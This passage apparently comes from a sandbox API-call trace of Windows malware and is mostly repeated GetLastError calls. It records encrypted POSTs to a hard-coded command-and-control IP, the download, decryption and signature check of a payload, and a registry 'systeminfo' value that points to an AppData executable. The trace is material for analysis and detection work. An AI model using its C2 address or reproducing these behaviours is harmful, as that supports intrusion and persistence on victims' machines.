dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0051.067] GetCurrentProcessId () returned 0x81c [0051.067] lstrlenA (lpString="just string") returned 11 [0051.068] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0051.068] GetLastError () returned 0x0 [0051.068] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb="POST", lpszObjectName=0x0, lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x844cc300, dwContext=0x0) returned 0xcc000c [0051.071] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0xffffffff, lpOptional=0x3d25d8*, dwOptionalLength=0x2b4 | out: lpOptional=0x3d25d8*) returned 1 [0063.603] GetCurrentProcessId () returned 0x81c [0063.604] GetLastError () returned 0x0 [0063.604] GetLastError () returned 0x0 [0063.604] GetLastError () returned 0x0 [0063.604] GetLastError () returned 0x0 [0063.604] GetLastError () returned 0x0 [0063.604] GetLastError () returned 0x0 [0063.604] GetLastError () returned 0x0 [0063.604] GetLastError () returned 0x0 [0063.604] GetLastError () returned 0x0 [0063.604] GetLastError () returned 0x0 [0063.604] GetLastError () returned 0x0 [0063.604] GetLastError () returned 0x0 [0063.604] GetLastError () returned 0x0 [0063.604] GetLastError () returned 0x0 [0063.604] GetLastError () returned 0x0 [0063.604] GetLastError () returned 0x0 [0063.604] GetLastError () returned 0x0 [0063.604] GetLastError () returned 0x0 [0063.604] GetLastError () returned 0x0 [0063.604] GetLastError () returned 0x0 [0063.604] GetLastError () returned 0x0 [0063.604] GetLastError () returned 0x0 [0063.604] GetLastError () returned 0x0 [0063.604] GetLastError () returned 0x0 [0063.604] GetLastError () returned 0x0 [0063.604] GetLastError () returned 0x0 [0063.604] GetLastError () returned 0x0 [0063.604] GetLastError () returned 0x0 [0063.604] GetLastError () returned 0x0 [0063.604] GetLastError () returned 0x0 [0063.604] GetLastError () returned 0x0 [0063.604] GetLastError () returned 0x0 [0063.604] GetLastError () returned 0x0 [0063.604] GetLastError () returned 0x0 [0063.604] GetLastError () returned 0x0 [0063.604] GetLastError () returned 0x0 [0063.604] GetLastError () returned 0x0 [0063.604] GetLastError () returned 0x0 [0063.604] GetLastError () returned 0x0 [0063.604] GetLastError () returned 0x0 [0063.604] GetLastError () returned 0x0 [0063.604] GetLastError () returned 0x0 [0063.604] GetLastError () returned 0x0 [0063.604] GetLastError () returned 0x0 [0063.604] GetLastError () returned 0x0 [0063.604] GetLastError () returned 0x0 [0063.604] GetLastError () returned 0x0 [0063.604] GetLastError () returned 0x0 [0063.604] GetLastError () returned 0x0 [0063.604] GetLastError () returned 0x0 [0063.604] GetLastError () returned 0x0 [0063.604] GetLastError () returned 0x0 [0063.604] GetLastError () returned 0x0 [0063.604] GetLastError () returned 0x0 [0063.604] GetLastError () returned 0x0 [0063.604] GetLastError () returned 0x0 [0063.604] GetLastError () returned 0x0 [0063.604] GetLastError () returned 0x0 [0063.604] GetLastError () returned 0x0 [0063.604] GetLastError () returned 0x0 [0063.604] GetLastError () returned 0x0 [0063.604] GetLastError () returned 0x0 [0063.605] GetLastError () returned 0x0 [0063.605] GetLastError () returned 0x0 [0063.605] GetLastError () returned 0x0 [0063.605] GetLastError () returned 0x0 [0063.605] GetLastError () returned 0x0 [0063.605] GetLastError () returned 0x0 [0063.605] GetLastError () returned 0x0 [0063.605] GetLastError () returned 0x0 [0063.605] GetLastError () returned 0x0 [0063.605] GetLastError () returned 0x0 [0063.605] GetLastError () returned 0x0 [0063.605] GetLastError () returned 0x0 [0063.605] GetLastError () returned 0x0 [0063.605] GetLastError () returned 0x0 [0063.605] GetLastError () returned 0x0 [0063.605] GetLastError () returned 0x0 [0063.605] GetLastError () returned 0x0 [0063.605] GetLastError () returned 0x0 [0063.605] GetLastError () returned 0x0 [0063.605] GetLastError () returned 0x0 [0063.605] GetLastError () returned 0x0 [0063.605] GetLastError () returned 0x0 [0063.605] GetLastError () returned 0x0 [0063.605] GetLastError () returned 0x0 [0063.605] GetLastError () returned 0x0 [0063.605] GetLastError () returned 0x0 [0063.605] GetLastError () returned 0x0 [0063.605] GetLastError () returned 0x0 [0063.605] GetLastError () returned 0x0 [0063.605] GetLastError () returned 0x0 [0063.605] GetLastError () returned 0x0 [0063.605] GetLastError () returned 0x0 [0063.605] GetLastError () returned 0x0 [0063.605] GetLastError () returned 0x0 [0063.605] GetLastError () returned 0x0 [0063.605] GetLastError () returned 0x0 [0063.605] GetLastError () returned 0x0 [0063.605] GetLastError () returned 0x0 [0063.605] GetLastError () returned 0x0 [0063.605] GetLastError () returned 0x0 [0063.605] GetLastError () returned 0x0 [0063.605] GetLastError () returned 0x0 [0063.605] GetLastError () returned 0x0 [0063.605] GetLastError () returned 0x0 [0063.605] GetLastError () returned 0x0 [0063.605] GetLastError () returned 0x0 [0063.605] GetLastError () returned 0x0 [0063.605] GetLastError () returned 0x0 [0063.605] GetLastError () returned 0x0 [0063.605] GetLastError () returned 0x0 [0063.605] GetLastError () returned 0x0 [0063.605] GetLastError () returned 0x0 [0063.605] GetLastError () returned 0x0 [0063.605] GetLastError () returned 0x0 [0063.605] GetLastError () returned 0x0 [0063.605] GetLastError () returned 0x0 [0063.605] GetLastError () returned 0x0 [0063.605] GetLastError () returned 0x0 [0063.605] GetLastError () returned 0x0 [0063.605] GetLastError () returned 0x0 [0063.605] GetLastError () returned 0x0 [0063.605] GetLastError () returned 0x0 [0063.605] GetLastError () returned 0x0 [0063.606] GetLastError () returned 0x0 [0063.606] GetLastError () returned 0x0 [0063.606] GetLastError () returned 0x0 [0063.606] GetLastError () returned 0x0 [0063.606] GetLastError () returned 0x0 [0063.606] GetLastError () returned 0x0 [0063.606] GetLastError () returned 0x0 [0063.606] GetLastError () returned 0x0 [0063.606] GetLastError () returned 0x0 [0063.606] GetLastError () returned 0x0 [0063.606] GetLastError () returned 0x0 [0063.606] GetLastError () returned 0x0 [0063.606] GetLastError () returned 0x0 [0063.606] GetLastError () returned 0x0 [0063.606] GetLastError () returned 0x0 [0063.606] GetLastError () returned 0x0 [0063.606] GetLastError () returned 0x0 [0063.606] GetLastError () returned 0x0 [0063.606] GetLastError () returned 0x0 [0063.606] GetLastError () returned 0x0 [0063.606] GetLastError () returned 0x0 [0063.606] GetLastError () returned 0x0 [0063.606] GetLastError () returned 0x0 [0063.606] GetLastError () returned 0x0 [0063.606] GetLastError () returned 0x0 [0063.606] GetLastError () returned 0x0 [0063.606] GetLastError () returned 0x0 [0063.606] GetLastError () returned 0x0 [0063.606] GetLastError () returned 0x0 [0063.606] GetLastError () returned 0x0 [0063.606] GetLastError () returned 0x0 [0063.606] GetLastError () returned 0x0 [0063.606] GetLastError () returned 0x0 [0063.606] GetLastError () returned 0x0 [0063.606] GetLastError () returned 0x0 [0063.606] GetLastError () returned 0x0 [0063.606] GetLastError () returned 0x0 [0063.606] GetLastError () returned 0x0 [0063.606] GetLastError () returned 0x0 [0063.606] GetLastError () returned 0x0 [0063.606] GetLastError () returned 0x0 [0063.606] GetLastError () returned 0x0 [0063.606] GetLastError () returned 0x0 [0063.606] GetLastError () returned 0x0 [0063.606] GetLastError () returned 0x0 [0063.606] GetLastError () returned 0x0 [0063.606] GetLastError () returned 0x0 [0063.606] GetLastError () returned 0x0 [0063.606] GetLastError () returned 0x0 [0063.606] GetLastError () returned 0x0 [0063.606] GetLastError () returned 0x0 [0063.606] GetLastError () returned 0x0 [0063.606] GetLastError () returned 0x0 [0063.606] GetLastError () returned 0x0 [0063.606] GetLastError () returned 0x0 [0063.606] GetLastError () returned 0x0 [0063.606] GetLastError () returned 0x0 [0063.606] GetLastError () returned 0x0 [0063.606] GetLastError () returned 0x0 [0063.606] GetLastError () returned 0x0 [0063.606] GetLastError () returned 0x0 [0063.606] GetLastError () returned 0x0 [0063.607] GetLastError () returned 0x0 [0063.607] GetLastError () returned 0x0 [0063.607] GetLastError () returned 0x0 [0063.607] GetLastError () returned 0x0 [0063.607] GetLastError () returned 0x0 [0063.607] GetLastError () returned 0x0 [0063.607] GetLastError () returned 0x0 [0063.607] GetLastError () returned 0x0 [0063.607] GetLastError () returned 0x0 [0063.607] GetLastError () returned 0x0 [0063.607] GetLastError () returned 0x0 [0063.607] GetLastError () returned 0x0 [0063.607] GetLastError () returned 0x0 [0063.607] GetLastError () returned 0x0 [0063.607] GetLastError () returned 0x0 [0063.607] GetLastError () returned 0x0 [0063.607] GetLastError () returned 0x0 [0063.607] GetLastError () returned 0x0 [0063.607] GetLastError () returned 0x0 [0063.607] GetLastError () returned 0x0 [0063.607] GetLastError () returned 0x0 [0063.607] GetLastError () returned 0x0 [0063.607] GetLastError () returned 0x0 [0063.607] GetLastError () returned 0x0 [0063.607] GetLastError () returned 0x0 [0063.607] GetLastError () returned 0x0 [0063.607] GetLastError () returned 0x0 [0063.607] GetLastError () returned 0x0 [0063.607] GetLastError () returned 0x0 [0063.607] GetLastError () returned 0x0 [0063.607] GetLastError () returned 0x0 [0063.607] GetLastError () returned 0x0 [0063.607] GetLastError () returned 0x0 [0063.607] GetLastError () returned 0x0 [0063.607] GetLastError () returned 0x0 [0063.607] GetLastError () returned 0x0 [0063.607] GetLastError () returned 0x0 [0063.607] GetLastError () returned 0x0 [0063.607] GetLastError () returned 0x0 [0063.607] GetLastError () returned 0x0 [0063.607] GetLastError () returned 0x0 [0063.607] GetLastError () returned 0x0 [0063.607] GetLastError () returned 0x0 [0063.607] GetLastError () returned 0x0 [0063.607] GetLastError () returned 0x0 [0063.607] GetLastError () returned 0x0 [0063.607] GetLastError () returned 0x0 [0063.607] GetLastError () returned 0x0 [0063.607] GetLastError () returned 0x0 [0063.607] GetLastError () returned 0x0 [0063.607] GetLastError () returned 0x0 [0063.607] GetLastError () returned 0x0 [0063.607] GetLastError () returned 0x0 [0063.607] GetLastError () returned 0x0 [0063.607] GetLastError () returned 0x0 [0063.607] GetLastError () returned 0x0 [0063.607] GetLastError () returned 0x0 [0063.607] GetLastError () returned 0x0 [0063.607] GetLastError () returned 0x0 [0063.607] GetLastError () returned 0x0 [0063.607] GetLastError () returned 0x0 [0063.607] GetLastError () returned 0x0 [0063.609] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x290f570, lpdwBufferLength=0x290f4c8, lpdwIndex=0x0 | out: lpBuffer=0x290f570*, lpdwBufferLength=0x290f4c8*=0x4, lpdwIndex=0x0) returned 1 [0063.609] GetCurrentProcessId () returned 0x81c [0063.609] GetLastError () returned 0x0 [0063.609] GetLastError () returned 0x0 [0063.609] GetLastError () returned 0x0 [0063.609] GetLastError () returned 0x0 [0063.609] GetLastError () returned 0x0 [0063.609] GetLastError () returned 0x0 [0063.609] GetLastError () returned 0x0 [0063.609] GetLastError () returned 0x0 [0063.609] GetLastError () returned 0x0 [0063.609] GetLastError () returned 0x0 [0063.609] GetLastError () returned 0x0 [0063.609] GetLastError () returned 0x0 [0063.609] GetLastError () returned 0x0 [0063.609] GetLastError () returned 0x0 [0063.609] GetLastError () returned 0x0 [0063.609] GetLastError () returned 0x0 [0063.609] GetLastError () returned 0x0 [0063.609] GetLastError () returned 0x0 [0063.609] GetLastError () returned 0x0 [0063.609] GetLastError () returned 0x0 [0063.609] GetLastError () returned 0x0 [0063.609] GetLastError () returned 0x0 [0063.609] GetLastError () returned 0x0 [0063.609] GetLastError () returned 0x0 [0063.609] GetLastError () returned 0x0 [0063.609] GetLastError () returned 0x0 [0063.609] GetLastError () returned 0x0 [0063.609] GetLastError () returned 0x0 [0063.610] GetLastError () returned 0x0 [0063.610] GetLastError () returned 0x0 [0063.610] GetLastError () returned 0x0 [0063.610] GetLastError () returned 0x0 [0063.610] GetLastError () returned 0x0 [0063.610] GetLastError () returned 0x0 [0063.610] GetLastError () returned 0x0 [0063.610] GetLastError () returned 0x0 [0063.610] GetLastError () returned 0x0 [0063.610] GetLastError () returned 0x0 [0063.610] GetLastError () returned 0x0 [0063.610] GetLastError () returned 0x0 [0063.610] GetLastError () returned 0x0 [0063.610] GetLastError () returned 0x0 [0063.610] GetLastError () returned 0x0 [0063.610] GetLastError () returned 0x0 [0063.610] GetLastError () returned 0x0 [0063.610] GetLastError () returned 0x0 [0063.610] GetLastError () returned 0x0 [0063.610] GetLastError () returned 0x0 [0063.610] GetLastError () returned 0x0 [0063.610] GetLastError () returned 0x0 [0063.610] GetLastError () returned 0x0 [0063.610] GetLastError () returned 0x0 [0063.610] GetLastError () returned 0x0 [0063.610] GetLastError () returned 0x0 [0063.610] GetLastError () returned 0x0 [0063.610] GetLastError () returned 0x0 [0063.610] GetLastError () returned 0x0 [0063.610] GetLastError () returned 0x0 [0063.610] GetLastError () returned 0x0 [0063.610] GetLastError () returned 0x0 [0063.610] GetLastError () returned 0x0 [0063.610] GetLastError () returned 0x0 [0063.610] GetLastError () returned 0x0 [0063.610] GetLastError () returned 0x0 [0063.610] GetLastError () returned 0x0 [0063.610] GetLastError () returned 0x0 [0063.610] GetLastError () returned 0x0 [0063.610] GetLastError () returned 0x0 [0063.610] GetLastError () returned 0x0 [0063.610] GetLastError () returned 0x0 [0063.610] GetLastError () returned 0x0 [0063.610] GetLastError () returned 0x0 [0063.610] GetLastError () returned 0x0 [0063.610] GetLastError () returned 0x0 [0063.610] GetLastError () returned 0x0 [0063.610] GetLastError () returned 0x0 [0063.610] GetLastError () returned 0x0 [0063.610] GetLastError () returned 0x0 [0063.610] GetLastError () returned 0x0 [0063.610] GetLastError () returned 0x0 [0063.610] GetLastError () returned 0x0 [0063.610] GetLastError () returned 0x0 [0063.610] GetLastError () returned 0x0 [0063.610] GetLastError () returned 0x0 [0063.610] GetLastError () returned 0x0 [0063.610] GetLastError () returned 0x0 [0063.610] GetLastError () returned 0x0 [0063.610] GetLastError () returned 0x0 [0063.610] GetLastError () returned 0x0 [0063.610] GetLastError () returned 0x0 [0063.611] GetLastError () returned 0x0 [0063.611] GetLastError () returned 0x0 [0063.611] GetLastError () returned 0x0 [0063.611] GetLastError () returned 0x0 [0063.611] GetLastError () returned 0x0 [0063.611] GetLastError () returned 0x0 [0063.611] GetLastError () returned 0x0 [0063.611] GetLastError () returned 0x0 [0063.611] GetLastError () returned 0x0 [0063.611] GetLastError () returned 0x0 [0063.611] GetLastError () returned 0x0 [0063.611] GetLastError () returned 0x0 [0063.611] GetLastError () returned 0x0 [0063.611] GetLastError () returned 0x0 [0063.611] GetLastError () returned 0x0 [0063.611] GetLastError () returned 0x0 [0063.611] GetLastError () returned 0x0 [0063.611] GetLastError () returned 0x0 [0063.611] GetLastError () returned 0x0 [0063.611] GetLastError () returned 0x0 [0063.611] GetLastError () returned 0x0 [0063.611] GetLastError () returned 0x0 [0063.611] GetLastError () returned 0x0 [0063.611] GetLastError () returned 0x0 [0063.611] GetLastError () returned 0x0 [0063.611] GetLastError () returned 0x0 [0063.611] GetLastError () returned 0x0 [0063.611] GetLastError () returned 0x0 [0063.611] GetLastError () returned 0x0 [0063.611] GetLastError () returned 0x0 [0063.611] GetLastError () returned 0x0 [0063.611] GetLastError () returned 0x0 [0063.611] GetLastError () returned 0x0 [0063.611] GetLastError () returned 0x0 [0063.611] GetLastError () returned 0x0 [0063.611] GetLastError () returned 0x0 [0063.611] GetLastError () returned 0x0 [0063.611] GetLastError () returned 0x0 [0063.611] GetLastError () returned 0x0 [0063.611] GetLastError () returned 0x0 [0063.611] GetLastError () returned 0x0 [0063.611] GetLastError () returned 0x0 [0063.611] GetLastError () returned 0x0 [0063.611] GetLastError () returned 0x0 [0063.611] GetLastError () returned 0x0 [0063.611] GetLastError () returned 0x0 [0063.611] GetLastError () returned 0x0 [0063.611] GetLastError () returned 0x0 [0063.611] GetLastError () returned 0x0 [0063.611] GetLastError () returned 0x0 [0063.611] GetLastError () returned 0x0 [0063.611] GetLastError () returned 0x0 [0063.611] GetLastError () returned 0x0 [0063.611] GetLastError () returned 0x0 [0063.611] GetLastError () returned 0x0 [0063.611] GetLastError () returned 0x0 [0063.611] GetLastError () returned 0x0 [0063.611] GetLastError () returned 0x0 [0063.611] GetLastError () returned 0x0 [0063.611] GetLastError () returned 0x0 [0063.612] GetLastError () returned 0x0 [0063.612] GetLastError () returned 0x0 [0063.612] GetLastError () returned 0x0 [0063.612] GetLastError () returned 0x0 [0063.612] GetLastError () returned 0x0 [0063.612] GetLastError () returned 0x0 [0063.612] GetLastError () returned 0x0 [0063.612] GetLastError () returned 0x0 [0063.612] GetLastError () returned 0x0 [0063.612] GetLastError () returned 0x0 [0063.612] GetLastError () returned 0x0 [0063.612] GetLastError () returned 0x0 [0063.612] GetLastError () returned 0x0 [0063.612] GetLastError () returned 0x0 [0063.612] GetLastError () returned 0x0 [0063.612] GetLastError () returned 0x0 [0063.612] GetLastError () returned 0x0 [0063.612] GetLastError () returned 0x0 [0063.612] GetLastError () returned 0x0 [0063.612] GetLastError () returned 0x0 [0063.612] GetLastError () returned 0x0 [0063.612] GetLastError () returned 0x0 [0063.612] GetLastError () returned 0x0 [0063.612] GetLastError () returned 0x0 [0063.612] GetLastError () returned 0x0 [0063.612] GetLastError () returned 0x0 [0063.612] GetLastError () returned 0x0 [0063.612] GetLastError () returned 0x0 [0063.612] GetLastError () returned 0x0 [0063.612] GetLastError () returned 0x0 [0063.612] GetLastError () returned 0x0 [0063.612] GetLastError () returned 0x0 [0063.612] GetLastError () returned 0x0 [0063.612] GetLastError () returned 0x0 [0063.612] GetLastError () returned 0x0 [0063.612] GetLastError () returned 0x0 [0063.612] GetLastError () returned 0x0 [0063.612] GetLastError () returned 0x0 [0063.612] GetLastError () returned 0x0 [0063.612] GetLastError () returned 0x0 [0063.612] GetLastError () returned 0x0 [0063.612] GetLastError () returned 0x0 [0063.612] GetLastError () returned 0x0 [0063.612] GetLastError () returned 0x0 [0063.612] GetLastError () returned 0x0 [0063.612] GetLastError () returned 0x0 [0063.612] GetLastError () returned 0x0 [0063.612] GetLastError () returned 0x0 [0063.612] GetLastError () returned 0x0 [0063.612] GetLastError () returned 0x0 [0063.612] GetLastError () returned 0x0 [0063.612] GetLastError () returned 0x0 [0063.612] GetLastError () returned 0x0 [0063.612] GetLastError () returned 0x0 [0063.612] GetLastError () returned 0x0 [0063.612] GetLastError () returned 0x0 [0063.612] GetLastError () returned 0x0 [0063.612] GetLastError () returned 0x0 [0063.612] GetLastError () returned 0x0 [0063.612] GetLastError () returned 0x0 [0063.612] GetLastError () returned 0x0 [0063.612] GetLastError () returned 0x0 [0063.612] GetLastError () returned 0x0 [0063.613] GetLastError () returned 0x0 [0063.613] GetLastError () returned 0x0 [0063.613] GetLastError () returned 0x0 [0063.613] GetLastError () returned 0x0 [0063.613] GetLastError () returned 0x0 [0063.613] GetLastError () returned 0x0 [0063.613] GetLastError () returned 0x0 [0063.613] GetLastError () returned 0x0 [0063.613] GetLastError () returned 0x0 [0063.613] GetLastError () returned 0x0 [0063.613] GetLastError () returned 0x0 [0063.613] GetLastError () returned 0x0 [0063.613] GetLastError () returned 0x0 [0063.613] GetLastError () returned 0x0 [0063.613] GetLastError () returned 0x0 [0063.613] GetLastError () returned 0x0 [0063.613] GetLastError () returned 0x0 [0063.613] GetLastError () returned 0x0 [0063.613] GetLastError () returned 0x0 [0063.613] GetLastError () returned 0x0 [0063.613] GetLastError () returned 0x0 [0063.613] GetLastError () returned 0x0 [0063.613] GetLastError () returned 0x0 [0063.613] GetLastError () returned 0x0 [0063.613] GetLastError () returned 0x0 [0063.613] GetLastError () returned 0x0 [0063.613] GetLastError () returned 0x0 [0063.613] GetLastError () returned 0x0 [0063.613] GetLastError () returned 0x0 [0063.613] GetLastError () returned 0x0 [0063.613] GetLastError () returned 0x0 [0063.613] GetLastError () returned 0x0 [0063.613] GetLastError () returned 0x0 [0063.613] GetLastError () returned 0x0 [0063.613] GetLastError () returned 0x0 [0063.613] GetLastError () returned 0x0 [0063.614] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000005, lpBuffer=0x290f4b8, lpdwBufferLength=0x290f4c0, lpdwIndex=0x0 | out: lpBuffer=0x290f4b8*, lpdwBufferLength=0x290f4c0*=0x4, lpdwIndex=0x0) returned 1 [0063.615] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x40d0f8, dwNumberOfBytesToRead=0x6c2f4, lpdwNumberOfBytesRead=0x290f4bc | out: lpBuffer=0x40d0f8*, lpdwNumberOfBytesRead=0x290f4bc*=0x6c2f4) returned 1 [0066.060] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x4793ec, dwNumberOfBytesToRead=0x0, lpdwNumberOfBytesRead=0x290f4bc | out: lpBuffer=0x4793ec*, lpdwNumberOfBytesRead=0x290f4bc*=0x0) returned 1 [0066.060] GetLastError () returned 0x0 [0066.061] CryptDuplicateHash (in: hHash=0x3c7488, pdwReserved=0x0, dwFlags=0x0, phHash=0x290f4c0 | out: phHash=0x290f4c0) returned 1 [0066.061] CryptDecrypt (in: hKey=0x3c6db8, hHash=0x3db668, Final=1, dwFlags=0x0, pbData=0x33b0048, pdwDataLen=0x290f58c | out: pbData=0x33b0048, pdwDataLen=0x290f58c) returned 1 [0066.065] CryptVerifySignatureW (hHash=0x3db668, pbSignature=0x40d0f8, dwSigLen=0x60, hPubKey=0x3c6328, szDescription=0x0, dwFlags=0x0) returned 1 [0066.066] CryptDestroyHash (hHash=0x3db668) returned 1 [0066.066] GetLastError () returned 0x0 [0066.066] wsprintfA (in: param_1=0x290f43f, param_2="%X%P" | out: param_1="2518AP") returned 6 [0066.066] SetLastError (dwErrCode=0x0) [0066.066] GetCurrentProcessId () returned 0x81c [0066.155] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0066.155] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0066.155] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0066.155] RegSetValueExW (in: hKey=0x3a0, lpValueName="systeminfo", Reserved=0x0, dwType=0x1, lpData="\"C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe\"", cbData=0x86 | out: lpData="\"C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe\"") returned 0x0 [0066.156] RegCloseKey (hKey=0x3a0) returned 0x0 [0066.156] GetCurrentProcess () returned 0xffffffff [0066.156] GetLastError () returned 0x0 [0066.156] wsprintfA (in: param_1=0x290f2ff, param_2="%X%P" | out: param_1="6D3DB9P") returned 7 [0066.156] SetLastError (dwErrCode=0x0) [0066.156] GetCurrentProcessId () returned 0x81c [0066.449] CryptDuplicateHash (in: hHash=0x3c7488, pdwReserved=0x0, dwFlags=0x0, phHash=0x290f4c0 | out: phHash=0x290f4c0) returned 1 [0066.449] CryptEncrypt (in: hKey=0x3c6db8, hHash=0x3db728, Final=1, dwFlags=0x0, pbData=0x3d2614*, pdwDataLen=0x290f4b4*=0x240, dwBufLen=0x250 | out: pbData=0x3d2614*, pdwDataLen=0x290f4b4*=0x250) returned 1 [0066.449] CryptExportKey (in: hKey=0x3c6db8, hExpKey=0x3c6328, dwBlobType=0x1, dwFlags=0x40, pbData=0x290f444, pdwDataLen=0x290f4b0 | out: pbData=0x290f444*, pdwDataLen=0x290f4b0*=0x6c) returned 1 [0066.449] GetLastError () returned 0x0 [0066.449] ObtainUserAgentString (in: dwOption=0x0, pszUAOut=0x290f2b8, cbSize=0x290f4b8 | out: pszUAOut="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", cbSize=0x290f4b8) returned 0x0 [0066.449] lstrlenA (lpString="just string") returned 11 [0066.449] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0066.449] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x290f2b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 179 [0066.449] InternetOpenW (lpszAgent="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0066.507] InternetConnectW (hInternet=0xcc0004, lpszServerName="173.201.20.6", nServerPort=0x1ba8, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0066.507] GetCurrentProcessId () returned 0x81c [0066.507] lstrlenA (lpString="just string") returned 11 [0066.507] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0066.507] GetLastError () returned 0x0 [0066.508] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb="POST", lpszObjectName=0x0, lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x844cc300, dwContext=0x0) returned 0xcc000c [0066.509] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0xffffffff, lpOptional=0x3d25a0*, dwOptionalLength=0x2c4 | out: lpOptional=0x3d25a0*) returned 1 [0067.075] GetLastError () returned 0x0 [0067.075] GetLastError () returned 0x0 [0067.075] GetLastError () returned 0x0 [0067.075] GetLastError () returned 0x0 [0067.075] GetLastError () returned 0x0 [0067.075] GetLastError () returned 0x0 [0067.075] GetLastError () returned 0x0 [0067.075] GetLastError () returned 0x0 [0067.075] GetLastError () returned 0x0 [0067.075] GetLastError () returned 0x0 [0067.075] GetLastError () returned 0x0 [0067.075] GetLastError () returned 0x0 [0067.075] GetLastError () returned 0x0 [0067.075] GetLastError () returned 0x0 [0067.075] GetLastError () returned 0x0 [0067.076] GetLastError () returned 0x0 [0067.076] GetLastError () returned 0x0 [0067.076] GetLastError () returned 0x0 [0067.076] GetLastError () returned 0x0 [0067.076] GetLastError () returned 0x0 [0067.076] GetLastError () returned 0x0 [0067.076] GetLastError () returned 0x0 [0067.076] GetLastError () returned 0x0 [0067.076] GetLastError () returned 0x0 [0067.076] GetLastError () returned 0x0 [0067.076] GetLastError () returned 0x0 [0067.076] GetLastError () returned 0x0 [0067.076] GetLastError () returned 0x0 [0067.076] GetLastError () returned 0x0 [0067.076] GetLastError () returned 0x0 [0067.076] GetLastError () returned 0x0 [0067.076] GetLastError () returned 0x0 [0067.076] GetLastError () returned 0x0 [0067.076] GetLastError () returned 0x0 [0067.076] GetLastError () returned 0x0 [0067.076] GetLastError () returned 0x0 [0067.076] GetLastError () returned 0x0 [0067.076] GetLastError () returned 0x0 [0067.076] GetLastError () returned 0x0 [0067.076] GetLastError () returned 0x0 [0067.076] GetLastError () returned 0x0 [0067.076] GetLastError () returned 0x0 [0067.076] GetLastError () returned 0x0 [0067.076] GetLastError () returned 0x0 [0067.076] GetLastError () returned 0x0 [0067.076] GetLastError () returned 0x0 [0067.076] GetLastError () returned 0x0 [0067.076] GetLastError () returned 0x0 [0067.076] GetLastError () returned 0x0 [0067.076] GetLastError () returned 0x0 [0067.076] GetLastError () returned 0x0 [0067.076] GetLastError () returned 0x0 [0067.076] GetLastError () returned 0x0 [0067.076] GetLastError () returned 0x0 [0067.076] GetLastError () returned 0x0 [0067.076] GetLastError () returned 0x0 [0067.076] GetLastError () returned 0x0 [0067.076] GetLastError () returned 0x0 [0067.076] GetLastError () returned 0x0 [0067.076] GetLastError () returned 0x0 [0067.076] GetLastError () returned 0x0 [0067.076] GetLastError () returned 0x0 [0067.076] GetLastError () returned 0x0 [0067.076] GetLastError () returned 0x0 [0067.076] GetLastError () returned 0x0 [0067.076] GetLastError () returned 0x0 [0067.076] GetLastError () returned 0x0 [0067.076] GetLastError () returned 0x0 [0067.076] GetLastError () returned 0x0 [0067.076] GetLastError () returned 0x0 [0067.076] GetLastError () returned 0x0 [0067.076] GetLastError () returned 0x0 [0067.076] GetLastError () returned 0x0 [0067.076] GetLastError () returned 0x0 [0067.076] GetLastError () returned 0x0 [0067.076] GetLastError () returned 0x0 [0067.076] GetLastError () returned 0x0 [0067.076] GetLastError () returned 0x0 [0067.076] GetLastError () returned 0x0 [0067.076] GetLastError () returned 0x0 [0067.076] GetLastError () returned 0x0 [0067.076] GetLastError () returned 0x0 [0067.076] GetLastError () returned 0x0 [0067.076] GetLastError () returned 0x0 [0067.076] GetLastError () returned 0x0 [0067.076] GetLastError () returned 0x0 [0067.077] GetLastError () returned 0x0 [0067.077] GetLastError () returned 0x0 [0067.077] GetLastError () returned 0x0 [0067.077] GetLastError () returned 0x0 [0067.077] GetLastError () returned 0x0 [0067.077] GetLastError () returned 0x0 [0067.077] GetLastError () returned 0x0 [0067.077] GetLastError () returned 0x0 [0067.077] GetLastError () returned 0x0 [0067.077] GetLastError () returned 0x0 [0067.077] GetLastError () returned 0x0 [0067.077] GetLastError () returned 0x0 [0067.077] GetLastError () returned 0x0 [0067.077] GetLastError () returned 0x0 [0067.077] GetLastError () returned 0x0 [0067.077] GetLastError () returned 0x0 [0067.077] GetLastError () returned 0x0 [0067.077] GetLastError () returned 0x0 [0067.077] GetLastError () returned 0x0 [0067.077] GetLastError () returned 0x0 [0067.077] GetLastError () returned 0x0 [0067.077] GetLastError () returned 0x0 [0067.077] GetLastError () returned 0x0 [0067.077] GetLastError () returned 0x0 [0067.077] GetLastError () returned 0x0 [0067.077] GetLastError () returned 0x0 [0067.077] GetLastError () returned 0x0 [0067.077] GetLastError () returned 0x0 [0067.077] GetLastError () returned 0x0 [0067.077] GetLastError () returned 0x0 [0067.077] GetLastError () returned 0x0 [0067.077] GetLastError () returned 0x0 [0067.077] 